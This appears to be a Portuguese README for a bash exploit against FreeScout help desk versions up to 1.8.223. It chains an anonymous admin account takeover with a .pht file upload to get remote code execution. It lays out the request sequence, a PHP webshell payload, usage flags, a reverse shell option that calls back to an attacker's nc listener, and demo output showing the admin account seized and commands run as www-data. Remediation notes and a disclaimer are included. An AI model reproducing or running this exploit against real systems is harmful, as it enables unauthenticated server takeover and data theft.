CVE-2026-53595 (+ CVE-2026-53593) — FreeScout ATO Anônimo → RCE

Execução remota de código não autenticada no FreeScout ≤ 1.8.223 (um help desk em Laravel) ao encadear duas falhas, ambas corrigidas na 1.8.224:

• CVE-2026-53595 — tomada de conta anônima (ATO). POST /user-setup/{hash}/{invite_sent_at} seleciona a conta apenas pela coluna invite_hash. Um usuário ativado tem invite_hash = '' e, no MySQL/MariaDB, a igualdade VARCHAR ignora espaços à direita, então hash = %20 corresponde ao admin. A verificação de expiração invite_sent_at descriptografa o valor usando a senha do usuário como chave, mas o helper de descriptografia retorna a entrada bruta em caso de falha (catch vazio), então um timestamp unix atual em texto puro é aceito. O endpoint então sobrescreve o e-mail + senha da conta e efetua o login.
• CVE-2026-53593 — upload autenticado de .pht. A denylist de upload (php.*|sh|pl|phtml|phar) não cobre .pht, que o Apache mod_php executa como PHP.

Encadeie-as e um atacante não autenticado obtém execução de código como o usuário do servidor web (www-data).

O que ele faz

1. GET /user-setup/%20/<unix_ts> para obter um cookie de sessão + token CSRF.
2. POST na mesma URL para sobrescrever o e-mail/senha do admin e efetuar o login (ATO).
3. POST de um shell.pht (<?php system($_GET['c']); ?>) em /uploads/upload.
4. Executa um comando pela webshell, ou abre um reverse shell.

Uso

./exploit.sh -t <target> [options]
   -t, --target URL     target base URL (e.g. http://10.10.10.10)   [required]
   -c, --cmd CMD        run a single command (default: id)
       --lhost IP       reverse shell: attacker IP (start nc first)
       --lport PORT     reverse shell port (default 4444)
       --email ADDR     email to set on the seized admin (default [email protected])
       --password PASS  password to set (default Pwned12345)
   -h, --help

Demo

$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30

# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.

Requisitos

• bash, curl, jq

Notas

• Funciona no FreeScout 1.0.x – 1.8.223; 1.8.224+ corrige ambos os bugs (302 vira uma tomada de conta malsucedida).
• O RCE é executado como www-data (usuário do Apache). A execução de .pht depende de o servidor executar .pht via mod_php — o ambiente "Apache padrão + libapache2-mod-php" que o CVE visa.
• O reverse shell é codificado em base64 antes de chegar à webshell: system() executa via /bin/sh (dash no Debian/Ubuntu), que não entende o redirecionamento >& /dev/tcp/... exclusivo do bash, e o base64 também evita todas as armadilhas com aspas.
• A senha padrão não tem ! de propósito — ! dispara a expansão de histórico no bash/zsh interativo e estraga comandos colados.

Remediação

• Atualize para o FreeScout 1.8.224+.
• Nunca use igualdade de VARCHAR para tokens de segurança (colisões por espaços à direita) e nunca trate uma descriptografia com falha como um valor válido — rejeite tokens vazios/inválidos.
• Use uma allowlist de uploads, armazene os uploads fora da raiz do servidor web e sirva-os por meio de um handler que nunca os execute.

Aviso legal

• Apenas para testes de segurança autorizados e fins educacionais. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não se responsabiliza pelo uso indevido.